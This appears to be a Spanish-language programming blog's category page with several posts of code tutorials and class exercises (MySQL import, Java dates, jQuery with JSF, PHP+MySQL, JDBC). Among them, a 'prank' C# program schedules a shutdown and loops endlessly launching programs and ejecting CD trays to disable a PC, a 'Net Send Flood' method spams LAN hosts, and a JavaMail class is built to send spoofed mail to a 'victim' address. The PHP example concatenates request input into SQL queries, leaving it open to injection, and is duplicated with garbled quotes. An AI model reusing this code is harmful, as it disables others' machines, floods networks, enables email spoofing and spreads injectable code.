Archivo de la categoría: Programación

Importar archivo “.sql” desde la consola mysql

Importar un archivo desde phpmyadmin es algo lento y hay que configurar unos parametros en el php.ini cuando son archivos demasiado grandes, para ahorrarse toda la espera en el navegador recomiendo importar el archivo sql desde la consola de mysql, para esto se debe iniciar sesion desde la consola (Es lo mismo para windows como para linux)

(Iniciamos sesion)

mysql -uUSUARIO -pPASSWORD 

(usamos la bd donde queremos importar el archivo sql, en mi caso es una tabla)

use nombreBasedatos;

(source es el comando donde se llamara el archivo como parametro y comenzara hacer todo).

source /home/nombreusuario/archivo.sql

 

 

Anuncios

Unparseable Date ParseException (String to Date)

Hace unos minutos tuve un pequeño problema con unos parseo de String a fecha, y googleando unos cuantos minutos me di cuenta que muchos tenían el mismo drama, hasta que encontre la solución leyendo unos ejemplos muy completos.

http://www.herongyang.com/JDK/Date-String-java-util-SimpleDateFormat-Parse-to-Object.html

Para que no se den la molestia de leer todo eso xD , les traigo aqui una solución simple.

Cuando queremos parsear un String a un Date tenemos que usar un objeto de la clase SimpleDateFormat  donde se setea una Mascara o un Pattern como quieran llamarlo. Es la estructura de una fecha como “yyyy/MM/dd” por ejemplo. Para parsear un String a Date debemos tener exactamente el mismo pattern del String que queremos transformar a fecha.

Para hacerlo mas claro aqui tenemos un ejemplo:

Quería transformar el siguiente String a Date

String fec = "Fri Apr 08 00:00:00 CLT 2011";

Intentaba hacerlo de esta forma


SimpleDateFormat formatoDelTexto = new SimpleDateFormat("yyyy/MM/dd",Locale.ENGLISH);
 String fec = "Fri Apr 08 00:00:00 CLT 2011";

 Date nuevo = (Date) formatoDelTexto.parse(fec);

Que me salia en ese momento

“Exception in thread “main” java.text.ParseException: Unparseable date: “Fri Apr 08 00:00:00 CLT 2011″
at java.text.DateFormat.parse(DateFormat.java:337)
at test.Test.main(Test.java:46)”

Para solucionar este drama debemos elegir el pattern exacto del string que queremos parsear.


SimpleDateFormat formatoDelTexto = new SimpleDateFormat("EEE MMM dd HH:mm:ss zzz yyyy",Locale.ENGLISH);
String fec = "Fri Apr 08 00:00:00 CLT 2011";
Date nuevo = (Date) formatoDelTexto.parse(fec);

Y listo nos creara el objeto date a partir del String sin problemas, ahora si queremos cambiar el formato del Date, basta con aplicar el format del SimpleDateFormat a nuestra manera. Por ejemplo queremos que esa fecha se imprima asi 2012/06/06


SimpleDateFormat otroFormato = new SimpleDateFormat("yyyy/MM/dd",Locale.ENGLISH);
 System.out.println("FEcha : \n" + otroFormato.format(nuevo));

Y eso es todo.

Cualquier duda a los comentarios.

Obtener valores de formulario en JSF con JQUERY

En esta entrada explicare un poco el conflicto que tiene JQuery con JSF,  todos sabemos obtener el valor de un elemento del DOM con javascript. Por ejemplo de un input llamado nombre:

<input type="text" id="nombre" />

Suponiendo que el codigo anterior es html puro y esta bajo un formulario cualquiera, vamos a obtener el valor a través de javascript.


function obtenerValor(){

var valor = document.getElementById("nombre").value;

alert(valor);

}

Ahora vamos a lo mismo, pero con JQUERY

$(document).ready(function(){
var nombre =$("#nombre").value;
alert(nombre);
});

Ahora veremos lo mismo pero con JSF.

Formulario JSF:

<h:form id="formulario">

<h:inputText id="nombre" value="#{managedBean.nombre}" />

</h:form>

Ahora obtenderemos el valor de JSF con javascript:

function obtenerValor(){
var nombre = document.getElementById("formulario:nombre").value;
alert(nombre);
}

Se dan cuenta la diferencia entre JSF y HTML? en javascript debemos tener el valor del id del formulario mas el id del input, de esta forma obtendremos el valor del input en jsf, ahora veremos la gran diferencia entre JQUERY y javascript a la hora de hablar sobre JSF con el mismo formulario anterior; en JQUERY se obtiene de esta forma:

$(document).ready(function(){
var nombre = $("#formulario\\:nombre").value;
alert(nombre);
});

La razón del conflicto es por los dos puntos, por alguna razón JQuery tiene problemas al procesar los dos puntos y debemos aplicar el doble back slash, para que tome los dos puntos como literales.
De esta forma podremos obtener el valor de un elemento JSF con JQuery, cualquier consulta me la pueden hacer en los comentarios, saludos!.

Listar metodos y propiedades de un objeto en Javascript

A quién no le ha pasado alguna vez que al programar un pequeño metodo en Javascript les sale el famoso error “object is not a function” , bueno eso pasa porque al hacer la funcion el metodo no existe o esta mal escrito, pero existe un metodo que nos permite saber todas las funciones  y propiedades que tiene un objeto.

 function inspeccionar(obj)
{
    var msg = '';

    for (var property in obj)
    {
        if (typeof obj[property] == 'function')
        {
            var inicio = obj[property].toString().indexOf('function');
            var fin = obj[property].toString().indexOf(')') + 1;
            var propertyValue = obj[property].toString().substring(inicio, fin);
            msg += (typeof obj[property]) + ' ' + property + ' : ' + propertyValue + ' ;\n';
        }
        else if (typeof obj[property] == 'unknown')
        {
            msg += 'unknown ' + property + ' : unknown ;\n';
        }
        else
        {
            msg += (typeof obj[property]) + ' ' + property + ' : ' + obj[property] + ' ;\n';
        }
    }
    alert(msg);
}

Para usarlo es muy simple

inspeccionar(objeto);

Este metodo les retornara un alert con todos los metodos que existe en la función.
Fuente

PHP+MySql

Clase enviada por la profe Yasna Meza, y las modificaciones que hizo hacer en clases:

1.- Agregar un botón que muestre las personas con edades de rango 25 y 35 años

2.- Agregar un botón y un textfield y consultar las personas que empiezen con la letra o palabra agregada en el textfield


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Ejemplo de conexión a BD : PHP + MySQL</title>

<style type="text/css">
body{background:#3399FF}
<!--
.style3 {font-family: "Courier New", Courier, monospace; font-weight: bold; }
-->
</style>
</head>

<body>
<form id="form1" name="form1" method="post" action="">
<h2>Ejemplo de conexión a BD : PHP + MySQL</h2>
<table width="200" border="1">
<tr>
<td width="95"><span class="style3">RUT</span></td>
<td width="89"><input name="txt_rut" type="text" id="txt_rut" maxlength="10" /></td>
</tr>
<tr>
<td><span class="style3">NOMBRE</span></td>
<td><input name="txt_nombre" type="text" id="txt_nombre" maxlength="20" /></td>
</tr>
<tr>
<td><span class="style3">FONO</span></td>
<td><input name="txt_fono" type="text" id="txt_fono" maxlength="8" /></td>
</tr>

<tr>
<td><span class="style3">EDAD</span></td>
<td><input name="txt_edad" type="text" id="txt_edad" value="0" maxlength="3" /></td>
</tr>
<tr>
<td><span class="style3">Ingresa nombre a buscar</span></td>
<td><input name="txt_name" type="text" id="txt_name" maxlength="255" /></td>
</tr>

<tr>
<td><input name="agregar" type="submit" id="agregar" value="Agregar" /></td>
<td><input name="limpiar" type="reset" id="limpiar" value="Limpiar" />
<input name="mostrar" type="submit" id="mostrar" value="Mostrar" /></td>
<td><input name ="mostrarEdad" type="submit" id="mostrarEdad" value = "Mostrar edad"/> </td>
<td><label>
<input name="mostrarCon" type="submit" id="mostrarCon" value="Mostrar_Nombres" />
</label></td>
</tr>
</table>

<p>
<?php
echo "<h3>Resultado de la operación : ";
$conexion = mysql_connect("localhost", "root", "duoc");
if ($conexion){
echo "Conexión establecida</h3>"; echo "<br>";
}
else{
echo "No se pudo establecer la conexión</h3>"; echo "<br>";
exit;
}
# Selecciona la base de datos
$db = mysql_select_db("example");
$verRegistros = -1;
if (isset($_REQUEST["mostrar"])){
$verRegistros = 1;
}
if (isset($_REQUEST["agregar"])){
# Obtiene los datos para agregar el registro
$rut = $_REQUEST["txt_rut"];
$nombre = $_REQUEST["txt_nombre"];
$fono = $_REQUEST["txt_fono"];
$edad = $_REQUEST["txt_edad"];
# Prepara la sentencia SQL para insertar el registro
$sql = "INSERT INTO persona VALUES ('" . $rut . "', '" . $nombre . "'," . $fono . "," . $edad . ")";
# Ejecuta la consulta de inserci{on
if (mysql_query($sql)){
echo "<h3>Registro insertado con éxito</h3>"; echo "<br>";
$verRegistros = 1;
}
else{
echo mysql_error();                # Muestra el error de SQL
die("Error en la consulta");
}
}

if ($verRegistros == 1){
# Setea la consulta sobre la tabla
$sql = "SELECT * FROM persona";
# Ejecuta la consulta y almacena el resultado
$respuesta = mysql_query($sql, $conexion);
echo "<table width='200' border='1'>";
echo "<caption align='top'>REGISTROS ALMACENADOS</caption>";
echo "<tr>";
echo "<th scope='col'>#</th>";
echo "<th scope='col'>RUT</th>";
echo "<th scope='col'>NOMBRE</th>";
echo "<th scope='col'>FONO</th>";
echo "<th scope='col'>EDAD</th>";
echo "</tr>";

$registro = 1;
# Recorre la matriz que almacena el resultado
while($fila = mysql_fetch_array($respuesta)){
echo "<tr><td>" . $registro . "</td>";
echo "<td>" . $fila["rut"] . "</td>";
echo "<td>"  .$fila["nombre"] . "</td>";
echo "<td>"  .$fila["fono"] . "</td>";
echo "<td>"  . $fila["edad"] . "</td></tr>";
$registro = $registro + 1;
}
echo "</table>";
}

if(isset($_REQUEST['mostrarEdad']))
{
$mostrarEdades = "select * from persona where edad >=25 and edad<=35";
$response =mysql_query($mostrarEdades,$conexion);
echo "<table width='200' border='1'>";
echo "<caption align='top'>REGISTROS ALMACENADOS de edades entre 25 y 35 años</caption>";
echo "<tr>";
echo "<th scope='col'>#</th>";
echo "<th scope='col'>RUT</th>";
echo "<th scope='col'>NOMBRE</th>";
echo "<th scope='col'>FONO</th>";
echo "<th scope='col'>EDAD</th>";
echo "</tr>";

$registro = 1;
# Recorre la matriz que almacena el resultado
while($fila = mysql_fetch_array($response)){
echo "<tr><td>" . $registro . "</td>";
echo "<td>" . $fila["rut"] . "</td>";
echo "<td>"  .$fila["nombre"] . "</td>";
echo "<td>"  .$fila["fono"] . "</td>";
echo "<td>"  . $fila["edad"] . "</td></tr>";
$registro = $registro + 1;
}
echo "</table>";
}
if(isset($_REQUEST['mostrarCon']))
{
$name = $_REQUEST['txt_name'];

$mostrarCon = "select * from persona where nombre like '".$name."%'";
$response2 =mysql_query($mostrarCon,$conexion);
echo "<table width='200' border='1'>";
echo "<caption align='top'>REGISTROS ALMACENADOS Que empiezen CON</caption>";
echo "<tr>";
echo "<th scope='col'>#</th>";
echo "<th scope='col'>RUT</th>";
echo "<th scope='col'>NOMBRE</th>";
echo "<th scope='col'>FONO</th>";
echo "<th scope='col'>EDAD</th>";
echo "</tr>";

$registro = 1;
# Recorre la matriz que almacena el resultado
while($fila = mysql_fetch_array($response2)){
echo "<tr><td>" . $registro . "</td>";
echo "<td>" . $fila["rut"] . "</td>";
echo "<td>"  .$fila["nombre"] . "</td>";
echo "<td>"  .$fila["fono"] . "</td>";
echo "<td>"  . $fila["edad"] . "</td></tr>";
$registro = $registro + 1;
}
echo "</table>";
}

# Cierra la conexión e informa de la operación
if (mysql_close($conexion)){
echo "Conexión ha sido cerrada con éxito"; echo "<br>";
}
else{
echo "Problemas al cerrar la conexión"; echo "<br>";
}
?>
</p>

<p>&nbsp;    </p>
</form>
</body>
</html>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Ejemplo de conexión a BD : PHP + MySQL</title>

<style type=”text/css”>
body{background:#3399FF}
<!–
.style3 {font-family: “Courier New”, Courier, monospace; font-weight: bold; }
–>
</style>
</head>

<body>
<form id=”form1″ name=”form1″ method=”post” action=””>
<h2>Ejemplo de conexión a BD : PHP + MySQL</h2>
<table width=”200″ border=”1″>
<tr>
<td width=”95″><span class=”style3″>RUT</span></td>
<td width=”89″><input name=”txt_rut” type=”text” id=”txt_rut” maxlength=”10″ /></td>
</tr>
<tr>
<td><span class=”style3″>NOMBRE</span></td>
<td><input name=”txt_nombre” type=”text” id=”txt_nombre” maxlength=”20″ /></td>
</tr>
<tr>
<td><span class=”style3″>FONO</span></td>
<td><input name=”txt_fono” type=”text” id=”txt_fono” maxlength=”8″ /></td>
</tr>

<tr>
<td><span class=”style3″>EDAD</span></td>
<td><input name=”txt_edad” type=”text” id=”txt_edad” value=”0″ maxlength=”3″ /></td>
</tr>
<tr>
<td><span class=”style3″>Ingresa nombre a buscar</span></td>
<td><input name=”txt_name” type=”text” id=”txt_name” maxlength=”255″ /></td>
</tr>

<tr>
<td><input name=”agregar” type=”submit” id=”agregar” value=”Agregar” /></td>
<td><input name=”limpiar” type=”reset” id=”limpiar” value=”Limpiar” />
<input name=”mostrar” type=”submit” id=”mostrar” value=”Mostrar” /></td>
<td><input name =”mostrarEdad” type=”submit” id=”mostrarEdad” value = “Mostrar edad”/> </td>
<td><label>
<input name=”mostrarCon” type=”submit” id=”mostrarCon” value=”Mostrar_Nombres” />
</label></td>
</tr>
</table>

<p>
<?php
echo “<h3>Resultado de la operación : “;
$conexion = mysql_connect(“localhost”, “root”, “duoc”);
if ($conexion){
echo “Conexión establecida</h3>”; echo “<br>”;
}
else{
echo “No se pudo establecer la conexión</h3>”; echo “<br>”;
exit;
}
# Selecciona la base de datos
$db = mysql_select_db(“example”);
$verRegistros = -1;
if (isset($_REQUEST[“mostrar”])){
$verRegistros = 1;
}
if (isset($_REQUEST[“agregar”])){
# Obtiene los datos para agregar el registro
$rut = $_REQUEST[“txt_rut”];
$nombre = $_REQUEST[“txt_nombre”];
$fono = $_REQUEST[“txt_fono”];
$edad = $_REQUEST[“txt_edad”];
# Prepara la sentencia SQL para insertar el registro
$sql = “INSERT INTO persona VALUES (‘” . $rut . “‘, ‘” . $nombre . “‘,” . $fono . “,” . $edad . “)”;
# Ejecuta la consulta de inserci{on
if (mysql_query($sql)){
echo “<h3>Registro insertado con éxito</h3>”; echo “<br>”;
$verRegistros = 1;
}
else{
echo mysql_error();                # Muestra el error de SQL
die(“Error en la consulta”);
}
}

if ($verRegistros == 1){
# Setea la consulta sobre la tabla
$sql = “SELECT * FROM persona”;
# Ejecuta la consulta y almacena el resultado
$respuesta = mysql_query($sql, $conexion);
echo “<table width=’200′ border=’1′>”;
echo “<caption align=’top’>REGISTROS ALMACENADOS</caption>”;
echo “<tr>”;
echo “<th scope=’col’>#</th>”;
echo “<th scope=’col’>RUT</th>”;
echo “<th scope=’col’>NOMBRE</th>”;
echo “<th scope=’col’>FONO</th>”;
echo “<th scope=’col’>EDAD</th>”;
echo “</tr>”;

$registro = 1;
# Recorre la matriz que almacena el resultado
while($fila = mysql_fetch_array($respuesta)){
echo “<tr><td>” . $registro . “</td>”;
echo “<td>” . $fila[“rut”] . “</td>”;
echo “<td>”  .$fila[“nombre”] . “</td>”;
echo “<td>”  .$fila[“fono”] . “</td>”;
echo “<td>”  . $fila[“edad”] . “</td></tr>”;
$registro = $registro + 1;
}
echo “</table>”;
}

if(isset($_REQUEST[‘mostrarEdad’]))
{
$mostrarEdades = “select * from persona where edad >=25 and edad<=35”;
$response =mysql_query($mostrarEdades,$conexion);
echo “<table width=’200′ border=’1′>”;
echo “<caption align=’top’>REGISTROS ALMACENADOS de edades entre 25 y 35 años</caption>”;
echo “<tr>”;
echo “<th scope=’col’>#</th>”;
echo “<th scope=’col’>RUT</th>”;
echo “<th scope=’col’>NOMBRE</th>”;
echo “<th scope=’col’>FONO</th>”;
echo “<th scope=’col’>EDAD</th>”;
echo “</tr>”;

$registro = 1;
# Recorre la matriz que almacena el resultado
while($fila = mysql_fetch_array($response)){
echo “<tr><td>” . $registro . “</td>”;
echo “<td>” . $fila[“rut”] . “</td>”;
echo “<td>”  .$fila[“nombre”] . “</td>”;
echo “<td>”  .$fila[“fono”] . “</td>”;
echo “<td>”  . $fila[“edad”] . “</td></tr>”;
$registro = $registro + 1;
}
echo “</table>”;
}
if(isset($_REQUEST[‘mostrarCon’]))
{
$name = $_REQUEST[‘txt_name’];

$mostrarCon = “select * from persona where nombre like ‘”.$name.”%'”;
$response2 =mysql_query($mostrarCon,$conexion);
echo “<table width=’200′ border=’1′>”;
echo “<caption align=’top’>REGISTROS ALMACENADOS Que empiezen CON</caption>”;
echo “<tr>”;
echo “<th scope=’col’>#</th>”;
echo “<th scope=’col’>RUT</th>”;
echo “<th scope=’col’>NOMBRE</th>”;
echo “<th scope=’col’>FONO</th>”;
echo “<th scope=’col’>EDAD</th>”;
echo “</tr>”;

$registro = 1;
# Recorre la matriz que almacena el resultado
while($fila = mysql_fetch_array($response2)){
echo “<tr><td>” . $registro . “</td>”;
echo “<td>” . $fila[“rut”] . “</td>”;
echo “<td>”  .$fila[“nombre”] . “</td>”;
echo “<td>”  .$fila[“fono”] . “</td>”;
echo “<td>”  . $fila[“edad”] . “</td></tr>”;
$registro = $registro + 1;
}
echo “</table>”;
}

# Cierra la conexión e informa de la operación
if (mysql_close($conexion)){
echo “Conexión ha sido cerrada con éxito”; echo “<br>”;
}
else{
echo “Problemas al cerrar la conexión”; echo “<br>”;
}
?>
</p>

<p>&nbsp;    </p>
</form>
</body>
</html>

Ejercicio 4 de JavaScript

ENUNCIADO

ACTIVIDAD 4 – GENERACIÓN DE DÍGITO VERIFICADOR

Construir una página HTML que contenga una entrada del tipo TEXT y
una entrada del tipo SUBMIT que permita leer un campo de texto
NUMÉRICO que no EXCEDA los seis (6) caracteres y que CALCULE en un
entrada del tipo TEXT que DEBE ESTAR DESHABILITADA el dígito
verificador asociado al código que se ha ingresado, de acuerdo al
siguiente procedimiento:
Para obtener el dígito verificador se debe aplicar el siguiente
procedimiento. Suponga que se desea generar el dígito verificador de 2504
deberá aplicar el siguiente procedimiento:
COEFICIENTES 3 2 7 6 5 4
* * * * * *
CÓDIGO 2 5 0 4 1 1
Se multiplica cada dígito del código por los coeficientes que
corresponden y luego se suman todas las cantidades. En este caso se
tiene: 6 + 10 + 0 + 24 + 5 + 4 = 49
Luego se debe dividir el 49 por 9 y se debe guardar el RESTO y el dígito
verificador se calcula de acuerdo a la siguiente fórmula:
Dígito Verificador = 9 – RESTO
En el caso del ejemplo el dígito verificador debería ser 5, dado que el
resto de la división entre 49 y 9 es 4 y al realizar la resta se tiene
que el dígito es 5.


<html>
<head>
<title> R04</title>
</head>

<script>

 function algo(formulario){
 if((formulario.codigo.value.length!=6)||(isNaN(formulario.codigo.value)))
 {
 document.write('Debe ser un numero y debe ser de largo maximo 6');
 }else{
 var codigo =formulario.codigo.value;
 var codigoD = codigo.split("");
 var coeficientes = '327654';
 var probando = coeficientes.split("");
 var numeros=0;
 for(i=0;i<6;i++){
 numeros=numeros+(parseInt(codigoD[i])*probando[i]);
 }
 var resultado =9- numeros%9;
 formulario.digito.value= resultado;}
 return false;

 }


</script>


<body>

<form name="formulario"  method="post"  onSubmit="return algo(this);">Escriba el codigo <br/>
<input type="text" name="codigo"maxlength="6" />
<input type ="text" name="digito" disabled ="disabled" />
<input type="submit" name="valida" value="Validar" />

Broma pesada [Dejar la crema en el PC]

El código hace lo siguiente:

Infinitamente abre y cierra el lector , ejecuta programas, dejara el pc para la corneta en un estado de coma xD , por si quieren hinchar las pelotas molestar a alguien, con esto es suficiente.

PD: No sean tan malos  esta programado en C#.


using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsApplication7
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("kernel32")]
static extern bool DeviceIoControl(IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
ref uint lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32")]
static extern IntPtr CreateFile(string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32")]
static extern int CloseHandle(IntPtr dHandle);

private static IntPtr fHandle;
private static uint ret;

private void cdrom()
{
DriveInfo[] aDrives = DriveInfo.GetDrives();

foreach (DriveInfo d in aDrives)
{
if (d.DriveType.ToString().ToUpper() == "CDROM")
{
abrir(d.Name.Remove(2));
cerrar(d.Name.Remove(2));
}
}

}

private void abrir(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D4808, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void cerrar(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D480C, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void Form1_Load(object sender, EventArgs e)
{
System.Diagnostics.Process process1;
process1 = new System.Diagnostics.Process();

//Do not receive an event when the process exits.

process1.EnableRaisingEvents = false;

//The "/C" Tells Windows to Run The Command then Terminate

string strCmdLine,nuevo;
strCmdLine = "";
nuevo = "-s -t 900";

System.Diagnostics.Process.Start("shutdown.exe", nuevo);
while(1&amp;lt;2)
{
cdrom();
System.Diagnostics.Process.Start("calc.exe", strCmdLine);
System.Diagnostics.Process.Start("cmd.exe", strCmdLine);
System.Diagnostics.Process.Start("iexplore.exe", strCmdLine);
System.Diagnostics.Process.Start("notepad.exe", strCmdLine);
System.Diagnostics.Process.Start("mspaint.exe", strCmdLine);

}

//  process1.Close();

//test

}
}
}

Conectar Base datos MySql con Java[JDBC]

Clase para conectar una base de datos mysql en java, usando la libreria mysql.

Creada en clases de  tópicos avanzado de programación  [By Soma].

/**
*
* @author Soma
*

*
*/
package BD;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class BD {
private String user;
private String password;
private String url;
private String driverClassName;
private Connection conn = null;
private Statement stmt;

public BD(String user, String password, String url, String driverClassName) {
this.user = user;
this.password = password;
this.url = url;
this.driverClassName = driverClassName;
}
public BD()
{
this.user = "root";
this.password="tupass";
this.url = "jdbc:mysql://localhost/tu_basedatos";
this.driverClassName = "com.mysql.jdbc.Driver"; // driver
}
public String getPassword() {
return password;
}

public String getUrl() {
return url;
}

public String getUser() {
return user;
}

public void setPassword(String password) {
this.password = password;
}

public void setUrl(String url) {
this.url = url;
}

public Connection getConn() {
return conn;
}

public void setConn(Connection conn) {
this.conn = conn;
}

public void setDriverClassName(String driverClassName) {
this.driverClassName = driverClassName;
}

public String getDriverClassName() {
return driverClassName;
}

public void setUser(String user) throws SQLException {
this.user = user;
}

public void conectar() throws SQLException {
try {
Class.forName(this.driverClassName).newInstance();
this.conn = DriverManager.getConnection(this.url, this.user, this.password);

} catch (Exception err) {
System.out.println("Error " + err.getMessage());
}
}

public ResultSet obtenerDatos(String sql) throws SQLException {

this.stmt = conn.createStatement();
return this.stmt.executeQuery(sql);
}

public void actualizar(String sql) throws SQLException {
this.stmt = conn.createStatement();
stmt.executeUpdate(sql);
}
public ResultSet ExeGet(String Q) throws SQLException{
Statement st = this.conn.createStatement();
return (ResultSet) st.executeQuery(Q);
}
public int Exe(String Q) throws SQLException{
Statement st = this.conn.createStatement();
return st.executeUpdate(Q);
}

public void Off() throws SQLException{
this.conn.close();
}

}

Net Send Flood C# [By Pablo Videla]

Aqui les mostraré un método de ejemplo para enviar mensajes a través de una LAN, no publique la aplicación completa por que esta hecha en modo gráfico y me dio paja flojera publicar todo el código, asi que con el simple metodo podran hacer su propio programa , saludos.


private void btEnviar_Click(object sender, EventArgs e)
{

System.Diagnostics.Process process1;
process1 = new System.Diagnostics.Process();
//Do not receive an event when the process exits.

process1.EnableRaisingEvents = false;

//   process1.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;

//The "/C" Tells Windows to Run The Command then Terminate

string pc,mensaje;
pc = txtPc.Text;
mensaje = txtMensaje.Text;
int i , cantidad;
cantidad = int.Parse(txtCantidad.Text);
try
{
for (i = 0; i &amp;lt; cantidad; i++)
{
System.Diagnostics.Process.Start("net.exe", "send " + pc + " " + mensaje);
lbSumando.Text = "" + i;
lbSumando.Update();
}lbSumando.Text = ""+cantidad;
}

catch (Exception error)
{
MessageBox.Show("Error .. " + error.Message);
}
}

Clase para Enviar Correos desde Java [JavaMail]

Clase Creada para enviar Correos desde Java usando
la libreria JavaMail que la pueden
descargar desde aqui:
DESCARGAR

/*

* Autor: Pablo Videla
* Fecha: 21/07/2009 18:14
*/

package Mail;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;

public class Mail
{
private String host;
private String usuario;
private String password;
private String puerto;
private String auth; //boolean
private String conexionSegura; // boolean
private String CorreoVictima;
private String CorreoFalso;
private String nombreFalso;
private String mensaje;
private String asunto;
public Mail()// constructor sin parametros
{
}
// constructor con todos los parametros
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String CorreoFalso, String nombreFalso, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.CorreoFalso = CorreoFalso;
this.nombreFalso = nombreFalso;
this.mensaje = mensaje;
this.asunto = asunto;

}
// constructor sin el nombre falso
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String CorreoFalso, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.CorreoFalso = CorreoFalso;
this.mensaje = mensaje;
this.asunto = asunto;
}
// constructor sin el correo y el nombre falso
public Mail(String host, String usuario, String password, String puerto, String auth, String conexionSegura, String CorreoVictima, String mensaje,String asunto) {
this.host = host;
this.usuario = usuario;
this.password = password;
this.puerto = puerto;
this.auth = auth;
this.conexionSegura = conexionSegura;
this.CorreoVictima = CorreoVictima;
this.mensaje = mensaje;
this.asunto = asunto;
}
public String getAsunto()
{
return asunto;
}
public void enviarMensaje()
{
try
{
// Propiedades de la conexión
Properties props = new Properties();
props.setProperty("mail.smtp.host",""+ getHost()); // host del server
props.setProperty("mail.smtp.starttls.enable",""+ getConexionSegura());//seguridad?
props.setProperty("mail.smtp.port", ""+getPuerto());// puerto en mi caso 25
props.setProperty("mail.smtp.user",""+ getUsuario());//cualquier cosa
props.setProperty("mail.smtp.auth", getAuth());//no necesita identifiacion

// Preparamos la sesion
Session session = Session.getDefaultInstance(props);
// Construimos el mensaje
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(""+getCorreoFalso()));

message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(""+getCorreoVictima()));
message.setSubject(""+getAsunto());
// message.setContent(""+getMensaje(),"text/ht ");
message.setHeader("text/html","charset=iso-8859-1");
message.setContent(getMensaje(),"text/html; charset=iso-8859-1");

// Lo enviamos.
Transport t = session.getTransport("smtp");
//  t.connect("127.0.0.1", null, null);
// t.connect("localhost",null,null);
t.connect(""+getUsuario(),""+getPassword());
//   for(int i=0;i&amp;amp;lt;5;i++){
t.sendMessage(message,message.getAllRecipients());//funciona con ciclos
JOptionPane.showMessageDialog(null, "¡Enviado Correctamente a "+getCorreoVictima()+" !");
//   }
// Cierre.
t.close();
}
catch (Exception e)
{
e.printStackTrace();
// e.getMessage();
JOptionPane.showMessageDialog(null, "Error ... "+ e.getMessage());
}
}

public String getCorreoFalso() {
return CorreoFalso;
}

public void setCorreoFalso(String CorreoFalso) {
this.CorreoFalso = CorreoFalso;
}

public String getCorreoVictima() {
return CorreoVictima;
}

public void setCorreoVictima(String CorreoVictima) {
this.CorreoVictima = CorreoVictima;
}

public String getAuth() {
return auth;
}

public void setAuth(String auth) {
this.auth = auth;
}

public String getConexionSegura() {
return conexionSegura;
}

public void setConexionSegura(String conexionSegura) {
this.conexionSegura = conexionSegura;
}

public String getHost() {
return host;
}

public void setHost(String host) {
this.host = host;
}

public String getMensaje() {
return mensaje;
}

public void setMensaje(String mensaje) {
this.mensaje = mensaje;
}

public String getNombreFalso() {
return nombreFalso;
}

public void setNombreFalso(String nombreFalso) {
this.nombreFalso = nombreFalso;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public String getPuerto() {
return puerto;
}

public void setPuerto(String puerto) {
this.puerto = puerto;
}

public String getUsuario() {
return usuario;
}

public void setUsuario(String usuario) {
this.usuario = usuario;
}

}
A %d blogueros les gusta esto: